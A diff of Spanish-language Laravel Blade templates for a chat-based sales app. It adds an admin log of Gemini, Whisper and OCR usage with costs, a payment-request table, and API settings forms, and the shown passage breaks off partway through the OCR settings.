<path stroke-linecap="round" stroke-linejoin="round" d="m2.25 15.75 5.159-5.159a2.25 2.25 0 0 1 3.182 0l5.159 5.159m-1.5-1.5 1.409-1.409a2.25 2.25 0 0 1 3.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 0 0 1.5-1.5V6a1.5 1.5 0 0 0-1.5-1.5H3.75A1.5 1.5 0 0 0 2.25 6v12a1.5 1.5 0 0 0 1.5 1.5Zm10.5-11.25h.008v.008h-.008V8.25Zm.375 0a.375.375 0 1 1-.75 0 .375.375 0 0 1 .75 0Z" />
|
||||||
|
</svg>
|
||||||
|
</label>
|
||||||
|
{{-- wire:ignore: su contenido y su altura los maneja Alpine.
|
||||||
|
Sin esto, el poll de 3s le devolvería la altura original
|
||||||
|
mientras el usuario está escribiendo. --}}
|
||||||
<textarea
|
<textarea
|
||||||
wire:model.defer="input"
|
wire:ignore
|
||||||
wire:keydown.enter.prevent="enviar"
|
x-ref="entrada"
|
||||||
|
x-on:input="autoGrow()"
|
||||||
|
x-on:keydown.enter.prevent="if (! $event.shiftKey) enviarTexto()"
|
||||||
rows="1"
|
rows="1"
|
||||||
placeholder="Escribe un mensaje..."
|
placeholder="Escribe o usa los botones..."
|
||||||
{{-- font-size 16px evita zoom; border-radius cubre -webkit-appearance --}}
|
|
||||||
class="flex-1 bg-[#2a3942] text-white rounded-xl px-4 py-3 resize-none outline-none placeholder-[#8696a0]"
|
class="flex-1 bg-[#2a3942] text-white rounded-xl px-4 py-3 resize-none outline-none placeholder-[#8696a0]"
|
||||||
style="font-size:16px; overflow-y:auto; max-height:7rem; line-height:1.4; color-scheme:dark;"
|
style="font-size:16px; overflow-y:auto; max-height:7rem; line-height:1.4; color-scheme:dark;"
|
||||||
></textarea>
|
></textarea>
|
||||||
{{-- 44x44 mínimo Apple HIG --}}
|
<button type="button" x-on:click="enviarTexto()"
|
||||||
<button wire:click="enviar"
|
class="bg-[#00a884] active:bg-[#06cf9c] active:scale-95 rounded-full flex items-center justify-center transition flex-shrink-0"
|
||||||
class="bg-[#00a884] active:bg-[#06cf9c] rounded-full flex items-center justify-center transition flex-shrink-0"
|
|
||||||
style="width:44px; height:44px; min-width:44px;">
|
style="width:44px; height:44px; min-width:44px;">
|
||||||
<svg class="w-5 h-5 text-white" viewBox="0 0 24 24" fill="currentColor">
|
<svg class="w-5 h-5 text-white" viewBox="0 0 24 24" fill="currentColor">
|
||||||
<path d="M2.01 21L23 12 2.01 3 2 10l15 2-15 2z"/>
|
<path d="M2.01 21L23 12 2.01 3 2 10l15 2-15 2z"/>
|
||||||
@@ -150,7 +790,26 @@
|
|||||||
</div>
|
</div>
|
||||||
@endif
|
@endif
|
||||||
|
|
||||||
|
{{-- Visor de imagen a pantalla completa --}}
|
||||||
|
<template x-if="lightbox">
|
||||||
|
<div class="fixed inset-0 z-50 bg-black/95 flex flex-col"
|
||||||
|
x-on:click="lightbox = null"
|
||||||
|
x-on:keydown.escape.window="lightbox = null">
|
||||||
|
<div class="flex justify-end safe-top px-4 py-3">
|
||||||
|
<button type="button" class="p-2 rounded-full bg-white/10 text-white active:bg-white/20">
|
||||||
|
<svg class="w-6 h-6" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor">
|
||||||
|
<path stroke-linecap="round" stroke-linejoin="round" d="M6 18 18 6M6 6l12 12" />
|
||||||
|
</svg>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="flex-1 flex items-center justify-center px-3 pb-6 safe-bottom">
|
||||||
|
<img :src="lightbox" alt="Comprobante" class="max-w-full max-h-full object-contain rounded-lg">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
@endif
|
@endif
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|||||||
+218
@@ -0,0 +1,218 @@
|
|||||||
|
<div class="space-y-6">
|
||||||
|
|
||||||
|
<div>
|
||||||
|
<h2 class="text-xl font-bold text-gray-800">Logs de uso de IA</h2>
|
||||||
|
<p class="text-gray-500 text-sm">Historial de llamadas a Gemini y Whisper con tokens, tiempos y costos.</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{{-- Cards resumen --}}
|
||||||
|
@php
|
||||||
|
$costoGemini = $resumen->costo_gemini ?? 0;
|
||||||
|
$costoWhisper = $resumen->costo_whisper ?? 0;
|
||||||
|
$costoOcr = $resumen->costo_ocr ?? 0;
|
||||||
|
$costoTotal = $costoGemini + $costoWhisper + $costoOcr;
|
||||||
|
@endphp
|
||||||
|
<div class="grid grid-cols-2 md:grid-cols-3 lg:grid-cols-6 gap-4">
|
||||||
|
<div class="bg-white rounded-2xl border border-gray-100 shadow p-4">
|
||||||
|
<p class="text-xs text-gray-400 mb-1">Total llamadas</p>
|
||||||
|
<p class="text-2xl font-bold text-gray-800">{{ number_format($resumen->total_llamadas ?? 0) }}</p>
|
||||||
|
<p class="text-xs mt-1">
|
||||||
|
<span class="text-emerald-600">{{ number_format($resumen->total_ok ?? 0) }} ok</span>
|
||||||
|
·
|
||||||
|
<span class="text-red-500">{{ number_format($resumen->total_errores ?? 0) }} errores</span>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div class="bg-white rounded-2xl border border-gray-100 shadow p-4">
|
||||||
|
<p class="text-xs text-gray-400 mb-1">Tokens Gemini</p>
|
||||||
|
<p class="text-2xl font-bold text-blue-700">{{ number_format(($resumen->total_input_tokens ?? 0) + ($resumen->total_output_tokens ?? 0)) }}</p>
|
||||||
|
<p class="text-xs text-gray-400 mt-1">
|
||||||
|
E: {{ number_format($resumen->total_input_tokens ?? 0) }} · S: {{ number_format($resumen->total_output_tokens ?? 0) }}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div class="bg-white rounded-2xl border border-gray-100 shadow p-4">
|
||||||
|
<p class="text-xs text-gray-400 mb-1">Audio Whisper</p>
|
||||||
|
<p class="text-2xl font-bold text-purple-700">{{ number_format($resumen->total_segundos_whisper ?? 0) }}s</p>
|
||||||
|
<p class="text-xs text-gray-400 mt-1">segundos transcritos</p>
|
||||||
|
</div>
|
||||||
|
<div class="bg-white rounded-2xl border border-gray-100 shadow p-4">
|
||||||
|
<p class="text-xs text-gray-400 mb-1">Costo Gemini</p>
|
||||||
|
<p class="text-2xl font-bold text-blue-700">${{ number_format($costoGemini, 0, ',', '.') }}</p>
|
||||||
|
<p class="text-xs text-gray-400 mt-1">$20.000 / millón tokens</p>
|
||||||
|
</div>
|
||||||
|
<div class="bg-white rounded-2xl border border-gray-100 shadow p-4">
|
||||||
|
<p class="text-xs text-gray-400 mb-1">Costo OCR</p>
|
||||||
|
<p class="text-2xl font-bold text-orange-600">${{ number_format($costoOcr, 0, ',', '.') }}</p>
|
||||||
|
<p class="text-xs text-gray-400 mt-1">{{ number_format($resumen->total_fotos_ocr ?? 0) }} fotos · $5/foto</p>
|
||||||
|
</div>
|
||||||
|
<div class="bg-white rounded-2xl border border-gray-100 shadow p-4">
|
||||||
|
<p class="text-xs text-gray-400 mb-1">Costo Total</p>
|
||||||
|
<p class="text-2xl font-bold text-emerald-700">${{ number_format($costoTotal, 0, ',', '.') }}</p>
|
||||||
|
<p class="text-xs text-gray-400 mt-1">
|
||||||
|
Whisper: ${{ number_format($costoWhisper, 0, ',', '.') }}
|
||||||
|
· Prom: {{ number_format($resumen->avg_tiempo_ms ?? 0) }}ms
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{{-- Filtros --}}
|
||||||
|
<div class="bg-white rounded-2xl border border-gray-100 shadow p-4">
|
||||||
|
<div class="flex flex-wrap gap-3 items-end">
|
||||||
|
<div>
|
||||||
|
<label class="block text-xs font-semibold text-gray-600 mb-1">Mes</label>
|
||||||
|
<select wire:model.live="filtroMes" class="border border-gray-300 rounded-lg px-3 py-2 text-sm focus:ring-2 focus:ring-emerald-500 outline-none">
|
||||||
|
<option value="">Todos los meses</option>
|
||||||
|
@foreach($meses as $mes)
|
||||||
|
<option value="{{ $mes['value'] }}">{{ $mes['label'] }}</option>
|
||||||
|
@endforeach
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
<div class="flex items-end gap-1 pb-2 text-gray-400 text-xs">ó rango:</div>
|
||||||
|
<div>
|
||||||
|
<label class="block text-xs font-semibold text-gray-600 mb-1">Desde</label>
|
||||||
|
<input wire:model.live="filtroFechaDesde" type="date" class="border border-gray-300 rounded-lg px-3 py-2 text-sm focus:ring-2 focus:ring-emerald-500 outline-none">
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="block text-xs font-semibold text-gray-600 mb-1">Hasta</label>
|
||||||
|
<input wire:model.live="filtroFechaHasta" type="date" class="border border-gray-300 rounded-lg px-3 py-2 text-sm focus:ring-2 focus:ring-emerald-500 outline-none">
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="block text-xs font-semibold text-gray-600 mb-1">Servicio</label>
|
||||||
|
<select wire:model.live="filtroServicio" class="border border-gray-300 rounded-lg px-3 py-2 text-sm focus:ring-2 focus:ring-emerald-500 outline-none">
|
||||||
|
<option value="">Todos</option>
|
||||||
|
<option value="gemini_intent">Gemini Intent</option>
|
||||||
|
<option value="gemini_vision">Gemini Vision</option>
|
||||||
|
<option value="gemini_text">Gemini Texto (post-OCR)</option>
|
||||||
|
<option value="ocr">OCR</option>
|
||||||
|
<option value="whisper">Whisper</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="block text-xs font-semibold text-gray-600 mb-1">Canal</label>
|
||||||
|
<select wire:model.live="filtroCanal" class="border border-gray-300 rounded-lg px-3 py-2 text-sm focus:ring-2 focus:ring-emerald-500 outline-none">
|
||||||
|
<option value="">Todos</option>
|
||||||
|
<option value="web">Web</option>
|
||||||
|
<option value="telegram">Telegram</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
<button wire:click="$set('filtroServicio','');$set('filtroCanal','');$set('filtroFechaDesde','');$set('filtroFechaHasta','');$set('filtroMes','')"
|
||||||
|
class="px-4 py-2 text-sm border border-gray-300 rounded-lg hover:bg-gray-50 text-gray-600">
|
||||||
|
Limpiar
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{{-- Tabla --}}
|
||||||
|
<div class="bg-white rounded-2xl border border-gray-100 shadow overflow-hidden">
|
||||||
|
<div class="overflow-x-auto">
|
||||||
|
<table class="min-w-full text-sm">
|
||||||
|
<thead class="bg-gray-50 border-b border-gray-100">
|
||||||
|
<tr>
|
||||||
|
<th class="text-left px-4 py-3 text-xs font-semibold text-gray-500">Fecha</th>
|
||||||
|
<th class="text-left px-4 py-3 text-xs font-semibold text-gray-500">Servicio</th>
|
||||||
|
<th class="text-left px-4 py-3 text-xs font-semibold text-gray-500">Canal</th>
|
||||||
|
<th class="text-left px-4 py-3 text-xs font-semibold text-gray-500">Usuario</th>
|
||||||
|
<th class="text-right px-4 py-3 text-xs font-semibold text-gray-500">Tokens E/S</th>
|
||||||
|
<th class="text-right px-4 py-3 text-xs font-semibold text-gray-500">Audio</th>
|
||||||
|
<th class="text-right px-4 py-3 text-xs font-semibold text-gray-500">Tiempo</th>
|
||||||
|
<th class="text-right px-4 py-3 text-xs font-semibold text-gray-500">Costo COP</th>
|
||||||
|
<th class="text-center px-4 py-3 text-xs font-semibold text-gray-500">Estado</th>
|
||||||
|
<th class="text-left px-4 py-3 text-xs font-semibold text-gray-500">Detalle</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody class="divide-y divide-gray-50">
|
||||||
|
@forelse($logs as $log)
|
||||||
|
@php
|
||||||
|
$detalle = is_array($log->detalle) ? $log->detalle : [];
|
||||||
|
$badgeServicio = match($log->servicio) {
|
||||||
|
'gemini_intent' => 'bg-blue-100 text-blue-700',
|
||||||
|
'gemini_vision' => 'bg-indigo-100 text-indigo-700',
|
||||||
|
'gemini_text' => 'bg-sky-100 text-sky-700',
|
||||||
|
'ocr' => 'bg-orange-100 text-orange-700',
|
||||||
|
'whisper' => 'bg-purple-100 text-purple-700',
|
||||||
|
default => 'bg-gray-100 text-gray-600',
|
||||||
|
};
|
||||||
|
$labelServicio = match($log->servicio) {
|
||||||
|
'gemini_intent' => 'Gemini Intent',
|
||||||
|
'gemini_vision' => 'Gemini Vision',
|
||||||
|
'gemini_text' => 'Gemini Texto',
|
||||||
|
'ocr' => 'OCR',
|
||||||
|
'whisper' => 'Whisper',
|
||||||
|
default => $log->servicio,
|
||||||
|
};
|
||||||
|
$costoFila = in_array($log->servicio, ['gemini_intent', 'gemini_vision', 'gemini_text'])
|
||||||
|
? (($log->input_tokens ?? 0) + ($log->output_tokens ?? 0)) / 1000000 * 20000
|
||||||
|
: ($log->costo ?? 0);
|
||||||
|
@endphp
|
||||||
|
<tr class="hover:bg-gray-50/50">
|
||||||
|
<td class="px-4 py-3 text-gray-500 whitespace-nowrap text-xs">
|
||||||
|
{{ $log->created_at->format('d/m/Y') }}<br>
|
||||||
|
<span class="text-gray-400">{{ $log->created_at->format('H:i:s') }}</span>
|
||||||
|
</td>
|
||||||
|
<td class="px-4 py-3">
|
||||||
|
<span class="px-2 py-0.5 rounded-full text-xs font-semibold {{ $badgeServicio }}">{{ $labelServicio }}</span>
|
||||||
|
</td>
|
||||||
|
<td class="px-4 py-3 text-gray-600 capitalize text-xs">{{ $log->canal }}</td>
|
||||||
|
<td class="px-4 py-3 text-gray-600 text-xs">
|
||||||
|
{{ $log->usuario_id ? ('ID '.$log->usuario_id) : '—' }}
|
||||||
|
</td>
|
||||||
|
<td class="px-4 py-3 text-right text-xs text-gray-600">
|
||||||
|
@if($log->input_tokens || $log->output_tokens)
|
||||||
|
{{ number_format($log->input_tokens ?? 0) }} / {{ number_format($log->output_tokens ?? 0) }}
|
||||||
|
@else
|
||||||
|
—
|
||||||
|
@endif
|
||||||
|
</td>
|
||||||
|
<td class="px-4 py-3 text-right text-xs text-gray-600">
|
||||||
|
@if($log->audio_segundos)
|
||||||
|
{{ $log->audio_segundos }}s
|
||||||
|
@else
|
||||||
|
—
|
||||||
|
@endif
|
||||||
|
</td>
|
||||||
|
<td class="px-4 py-3 text-right text-xs text-gray-600">{{ number_format($log->tiempo_ms) }}ms</td>
|
||||||
|
<td class="px-4 py-3 text-right text-xs font-semibold {{ $costoFila > 0 ? 'text-emerald-700' : 'text-gray-400' }}">
|
||||||
|
@if($costoFila > 0)
|
||||||
|
${{ number_format($costoFila, 0, ',', '.') }}
|
||||||
|
@else
|
||||||
|
—
|
||||||
|
@endif
|
||||||
|
</td>
|
||||||
|
<td class="px-4 py-3 text-center">
|
||||||
|
@if($log->resultado === 'ok')
|
||||||
|
<span class="px-2 py-0.5 rounded-full text-xs font-semibold bg-emerald-100 text-emerald-700">OK</span>
|
||||||
|
@else
|
||||||
|
<span class="px-2 py-0.5 rounded-full text-xs font-semibold bg-red-100 text-red-700">Error</span>
|
||||||
|
@endif
|
||||||
|
</td>
|
||||||
|
<td class="px-4 py-3 text-xs text-gray-500 max-w-xs">
|
||||||
|
@if(isset($detalle['texto']) && $detalle['texto'])
|
||||||
|
<span class="italic">"{{ Str::limit($detalle['texto'], 60) }}"</span>
|
||||||
|
@elseif(isset($detalle['accion']) && $detalle['accion'])
|
||||||
|
→ {{ $detalle['accion'] }}
|
||||||
|
@elseif(isset($detalle['banco']))
|
||||||
|
{{ $detalle['banco'] }} · ${{ number_format($detalle['valor'] ?? 0) }}
|
||||||
|
@elseif(isset($detalle['error']))
|
||||||
|
<span class="text-red-500">{{ Str::limit($detalle['error'], 60) }}</span>
|
||||||
|
@else
|
||||||
|
—
|
||||||
|
@endif
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
@empty
|
||||||
|
<tr>
|
||||||
|
<td colspan="10" class="px-4 py-12 text-center text-gray-400 text-sm">
|
||||||
|
No hay registros con los filtros seleccionados.
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
@endforelse
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
@if($logs->hasPages())
|
||||||
|
<div class="px-4 py-3 border-t border-gray-100">
|
||||||
|
{{ $logs->links() }}
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
@@ -0,0 +1,99 @@
|
|||||||
|
<div class="p-6">
|
||||||
|
|
||||||
|
{{-- Filtros --}}
|
||||||
|
<div class="flex flex-wrap gap-3 mb-5">
|
||||||
|
<input wire:model.debounce.300ms="busqueda" type="text"
|
||||||
|
placeholder="Buscar por email o nombre..."
|
||||||
|
class="flex-1 min-w-[220px] bg-white border border-gray-200 rounded-lg px-4 py-2 text-sm shadow-sm focus:outline-none focus:ring-2 focus:ring-green-500">
|
||||||
|
|
||||||
|
<select wire:model="filtroEstado"
|
||||||
|
class="bg-white border border-gray-200 rounded-lg px-3 py-2 text-sm shadow-sm focus:outline-none focus:ring-2 focus:ring-green-500">
|
||||||
|
<option value="">Todos los estados</option>
|
||||||
|
<option value="pendiente">🟡 Pendiente</option>
|
||||||
|
<option value="confirmada">✅ Confirmada</option>
|
||||||
|
<option value="expirada">⛔ Expirada</option>
|
||||||
|
</select>
|
||||||
|
|
||||||
|
<select wire:model="filtroCanal"
|
||||||
|
class="bg-white border border-gray-200 rounded-lg px-3 py-2 text-sm shadow-sm focus:outline-none focus:ring-2 focus:ring-green-500">
|
||||||
|
<option value="">Todos los canales</option>
|
||||||
|
<option value="web">🌐 Web</option>
|
||||||
|
<option value="telegram">✈️ Telegram</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{{-- Tabla --}}
|
||||||
|
<div class="bg-white rounded-xl shadow overflow-hidden">
|
||||||
|
<table class="w-full text-sm">
|
||||||
|
<thead class="bg-gray-50 border-b border-gray-100">
|
||||||
|
<tr>
|
||||||
|
<th class="text-left px-4 py-3 text-gray-500 font-medium">#</th>
|
||||||
|
<th class="text-left px-4 py-3 text-gray-500 font-medium">Fecha</th>
|
||||||
|
<th class="text-left px-4 py-3 text-gray-500 font-medium">Usuario</th>
|
||||||
|
<th class="text-left px-4 py-3 text-gray-500 font-medium">Canal</th>
|
||||||
|
<th class="text-left px-4 py-3 text-gray-500 font-medium">Titular</th>
|
||||||
|
<th class="text-right px-4 py-3 text-gray-500 font-medium">Monto</th>
|
||||||
|
<th class="text-center px-4 py-3 text-gray-500 font-medium">Estado</th>
|
||||||
|
<th class="text-center px-4 py-3 text-gray-500 font-medium">Chat</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody class="divide-y divide-gray-50">
|
||||||
|
@forelse($solicitudes as $s)
|
||||||
|
<tr class="hover:bg-gray-50 transition">
|
||||||
|
<td class="px-4 py-3 text-gray-400 text-xs">{{ $s->id }}</td>
|
||||||
|
<td class="px-4 py-3 text-gray-600 whitespace-nowrap">
|
||||||
|
{{ $s->created_at ? $s->created_at->format('d/m/y H:i') : '—' }}
|
||||||
|
</td>
|
||||||
|
<td class="px-4 py-3">
|
||||||
|
@if($s->user)
|
||||||
|
<p class="font-medium text-gray-800">{{ $s->user->name }}</p>
|
||||||
|
<p class="text-gray-400 text-xs">{{ $s->user->email }}</p>
|
||||||
|
@else
|
||||||
|
<span class="text-gray-400 text-xs">Usuario eliminado</span>
|
||||||
|
@endif
|
||||||
|
</td>
|
||||||
|
<td class="px-4 py-3">
|
||||||
|
@if($s->canal === 'telegram')
|
||||||
|
<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs font-semibold bg-blue-100 text-blue-700">✈️ Telegram</span>
|
||||||
|
@else
|
||||||
|
<span class="inline-flex items-center gap-1 px-2 py-0.5 rounded-full text-xs font-semibold bg-emerald-100 text-emerald-700">🌐 Web</span>
|
||||||
|
@endif
|
||||||
|
</td>
|
||||||
|
<td class="px-4 py-3 text-gray-600 text-xs">{{ $s->nombre_remitente ?? '—' }}</td>
|
||||||
|
<td class="px-4 py-3 text-right font-semibold text-gray-800">
|
||||||
|
${{ number_format($s->monto) }}
|
||||||
|
</td>
|
||||||
|
<td class="px-4 py-3 text-center">
|
||||||
|
@if($s->estado === 'confirmada')
|
||||||
|
<span class="inline-block px-2.5 py-1 rounded-full text-xs font-semibold bg-green-100 text-green-700">✅ Confirmada</span>
|
||||||
|
@elseif($s->estado === 'pendiente')
|
||||||
|
<span class="inline-block px-2.5 py-1 rounded-full text-xs font-semibold bg-yellow-100 text-yellow-700">🟡 Pendiente</span>
|
||||||
|
@else
|
||||||
|
<span class="inline-block px-2.5 py-1 rounded-full text-xs font-semibold bg-red-100 text-red-700">⛔ Expirada</span>
|
||||||
|
@endif
|
||||||
|
</td>
|
||||||
|
<td class="px-4 py-3 text-center">
|
||||||
|
@if($s->user_id)
|
||||||
|
<button wire:click="verChat({{ $s->user_id }})"
|
||||||
|
class="text-xs px-3 py-1.5 bg-[#00a884] hover:bg-[#06cf9c] text-white rounded-lg transition font-medium">
|
||||||
|
Ver chat
|
||||||
|
</button>
|
||||||
|
@endif
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
@empty
|
||||||
|
<tr>
|
||||||
|
<td colspan="8" class="px-4 py-10 text-center text-gray-400">No hay registros</td>
|
||||||
|
</tr>
|
||||||
|
@endforelse
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
@if($solicitudes->hasPages())
|
||||||
|
<div class="px-4 py-3 border-t border-gray-100">
|
||||||
|
{{ $solicitudes->links() }}
|
||||||
|
</div>
|
||||||
|
@endif
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
Regular → Executable
+191
-1
@@ -57,6 +57,196 @@
|
|||||||
@error('mensaje_transferencia') <span class="text-red-500 text-xs">{{ $message }}</span> @enderror
|
@error('mensaje_transferencia') <span class="text-red-500 text-xs">{{ $message }}</span> @enderror
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<hr class="border-gray-100">
|
||||||
|
|
||||||
|
{{-- Gemini IA --}}
|
||||||
|
<div>
|
||||||
|
<h3 class="text-sm font-bold text-gray-700 mb-3">Inteligencia Artificial (Gemini)</h3>
|
||||||
|
<div class="space-y-4">
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-semibold text-gray-700 mb-1">API Key de Gemini</label>
|
||||||
|
<p class="text-xs text-gray-400 mb-2">Obtén tu clave en aistudio.google.com</p>
|
||||||
|
<input wire:model.defer="gemini_api_key" type="password" placeholder="AIza..."
|
||||||
|
class="w-full border border-gray-300 rounded-lg px-3 py-2 text-sm focus:ring-2 focus:ring-emerald-500 outline-none font-mono">
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-semibold text-gray-700 mb-1">Modelo</label>
|
||||||
|
<p class="text-xs text-gray-400 mb-2">Usa "Probar conexión" para ver los modelos disponibles en tu cuenta si no sabes cuál poner.</p>
|
||||||
|
<input wire:model.defer="gemini_model" type="text" placeholder="gemini-2.0-flash"
|
||||||
|
class="w-full border border-gray-300 rounded-lg px-3 py-2 text-sm focus:ring-2 focus:ring-emerald-500 outline-none font-mono">
|
||||||
|
</div>
|
||||||
|
<div class="flex items-center gap-3">
|
||||||
|
<input wire:model.defer="gemini_habilitado" type="checkbox" value="1"
|
||||||
|
id="gemini_hab" class="w-4 h-4 accent-emerald-600">
|
||||||
|
<label for="gemini_hab" class="text-sm text-gray-700">
|
||||||
|
Habilitar IA para interpretar texto libre del usuario
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-semibold text-gray-700 mb-1">Contexto extra para la IA (opcional)</label>
|
||||||
|
<textarea wire:model.defer="gemini_prompt_extra" rows="2"
|
||||||
|
class="w-full border border-gray-300 rounded-lg px-3 py-2 text-sm focus:ring-2 focus:ring-emerald-500 outline-none resize-none"
|
||||||
|
placeholder="Ej: Solo vendemos streaming. No ofrecemos juegos."></textarea>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<button wire:click="probarGemini"
|
||||||
|
class="flex items-center gap-2 px-4 py-2 bg-blue-600 hover:bg-blue-700 text-white text-sm font-semibold rounded-lg transition">
|
||||||
|
<svg class="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor">
|
||||||
|
<path stroke-linecap="round" stroke-linejoin="round" d="M9.813 15.904 9 18.75l-.813-2.846a4.5 4.5 0 0 0-3.09-3.09L2.25 12l2.846-.813a4.5 4.5 0 0 0 3.09-3.09L9 5.25l.813 2.846a4.5 4.5 0 0 0 3.09 3.09L15.75 12l-2.846.813a4.5 4.5 0 0 0-3.09 3.09Z" />
|
||||||
|
</svg>
|
||||||
|
<span wire:loading.remove wire:target="probarGemini">Probar conexión Gemini</span>
|
||||||
|
<span wire:loading wire:target="probarGemini">Probando...</span>
|
||||||
|
</button>
|
||||||
|
@if($geminiResult)
|
||||||
|
<p class="mt-2 text-sm {{ str_contains($geminiResult, '✅') ? 'text-emerald-600' : 'text-red-600' }}">
|
||||||
|
{{ $geminiResult }}
|
||||||
|
</p>
|
||||||
|
@endif
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<hr class="border-gray-100">
|
||||||
|
|
||||||
|
{{-- Whisper STT --}}
|
||||||
|
<div>
|
||||||
|
<h3 class="text-sm font-bold text-gray-700 mb-3">Transcripción de voz (Whisper)</h3>
|
||||||
|
<p class="text-xs text-gray-400 mb-4">Cuando un usuario envíe un audio en Telegram, se transcribirá con Whisper y el texto pasará al sistema de intención como si lo hubiera escrito.</p>
|
||||||
|
<div class="space-y-4">
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-semibold text-gray-700 mb-1">URL del servidor Whisper</label>
|
||||||
|
<input wire:model.defer="whisper_url" type="text" placeholder="https://whisper.u-s.app/asr"
|
||||||
|
class="w-full border border-gray-300 rounded-lg px-3 py-2 text-sm focus:ring-2 focus:ring-emerald-500 outline-none font-mono">
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-semibold text-gray-700 mb-1">Token (contraseña Basic Auth)</label>
|
||||||
|
<input wire:model.defer="whisper_token" type="password" placeholder="Token del servidor Whisper"
|
||||||
|
class="w-full border border-gray-300 rounded-lg px-3 py-2 text-sm focus:ring-2 focus:ring-emerald-500 outline-none font-mono">
|
||||||
|
</div>
|
||||||
|
<div class="flex items-center gap-3">
|
||||||
|
<input wire:model.defer="whisper_habilitado" type="checkbox" value="1"
|
||||||
|
id="whisper_hab" class="w-4 h-4 accent-emerald-600">
|
||||||
|
<label for="whisper_hab" class="text-sm text-gray-700">
|
||||||
|
Habilitar transcripción de audios en Telegram
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<button wire:click="resetearWhisper"
|
||||||
|
class="flex items-center gap-2 px-4 py-2 bg-purple-600 hover:bg-purple-700 text-white text-sm font-semibold rounded-lg transition">
|
||||||
|
<svg class="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor">
|
||||||
|
<path stroke-linecap="round" stroke-linejoin="round" d="M16.023 9.348h4.992v-.001M2.985 19.644v-4.992m0 0h4.992m-4.993 0 3.181 3.183a8.25 8.25 0 0 0 13.803-3.7M4.031 9.865a8.25 8.25 0 0 1 13.803-3.7l3.181 3.182m0-4.991v4.99" />
|
||||||
|
</svg>
|
||||||
|
<span wire:loading.remove wire:target="resetearWhisper">Probar conexión Whisper</span>
|
||||||
|
<span wire:loading wire:target="resetearWhisper">Probando...</span>
|
||||||
|
</button>
|
||||||
|
@if($whisperResult)
|
||||||
|
<p class="mt-2 text-sm {{ str_contains($whisperResult, '✅') ? 'text-emerald-600' : 'text-red-600' }}">
|
||||||
|
{{ $whisperResult }}
|
||||||
|
</p>
|
||||||
|
@endif
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<hr class="border-gray-100">
|
||||||
|
|
||||||
|
{{-- OCR de comprobantes --}}
|
||||||
|
<div>
|
||||||
|
<h3 class="text-sm font-bold text-gray-700 mb-1">OCR de comprobantes (antes de la IA)</h3>
|
||||||
|
<p class="text-xs text-gray-400 mb-4">Si está habilitado, la imagen del comprobante se manda primero a este servicio para extraer el texto, y luego ese texto (no la imagen) se le pasa a Gemini para estructurarlo. Si el servicio falla o está deshabilitado, se usa el método anterior (Gemini lee la imagen directamente).</p>
|
||||||
|
<div class="space-y-4">
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-semibold text-gray-700 mb-1">URL del servicio OCR</label>
|
||||||
|
<input wire:model.defer="ocr_url" type="text" placeholder="https://ocr.tu-dominio.com"
|
||||||
|
class="w-full border border-gray-300 rounded-lg px-3 py-2 text-sm focus:ring-2 focus:ring-emerald-500 outline-none font-mono">
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-semibold text-gray-700 mb-1">Token (Authorization: Bearer)</label>
|
||||||
|
<input wire:model.defer="ocr_token" type="password" placeholder="Token del servicio OCR"
|
||||||
|
class="w-full border border-gray-300 rounded-lg px-3 py-2 text-sm focus:ring-2 focus:ring-emerald-500 outline-none font-mono">
|
||||||
|
</div>
|
||||||
|
<div class="flex items-center gap-3">
|
||||||
|
<input wire:model.defer="ocr_habilitado" type="checkbox" value="1"
|
||||||
|
id="ocr_hab" class="w-4 h-4 accent-emerald-600">
|
||||||
|
<label for="ocr_hab" class="text-sm text-gray-700">
|
||||||
|
Habilitar OCR antes de enviar a la IA
|
||||||
|
